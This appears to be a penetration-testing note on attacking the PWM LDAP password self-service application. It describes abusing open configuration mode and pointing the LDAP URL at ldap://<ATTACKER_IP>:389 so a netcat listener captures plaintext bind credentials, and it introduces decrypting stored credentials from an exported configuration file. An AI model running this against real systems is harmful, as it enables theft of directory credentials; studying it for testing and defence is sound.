An open source password self-service application for LDAP directories.
Modes
Open Configuration
This PWM mode allows to gather some interesting information without any prior authentication required
Zoom in
However, authentication is still required to carry any action that involves change or modify configured parameters within the control panel
Zoom in
Forcing LDAP Connection to retrieve Plain Credentials
Once we obtain valid credentials to authenticate ourselves against the PWM control panel, we can look for any configured LDAP connection, as it usually contains LDAP credentials
But we can replace the existing LDAP URL with the below
ldap://<ATTACKER_IP>:389
Doing so, when we click on the Test LDAP Profile button, the application will perform an LDAP bind against our server, as we replace ldaps with ldap, the data will be transmitted with no encryption, so we can grab the plain credentials
It’s not necessary to set up an LDAP Server, we can handle the incoming LDAP authentication by setting up a TCP listener on port 389 as follows
nc -lnvp 389
Decrypting stored LDAP Credentials
Another way to extract LDAP credentials in plain text from PWM would be by decrypting stored credentials within the PwmConfigurationFile.xml
If we have valid credentials to authenticate against the PWM control panel, we can export this configuration file from the PWM Configuration Manager
Zoom in
Once we have download it, it’s as simple as follows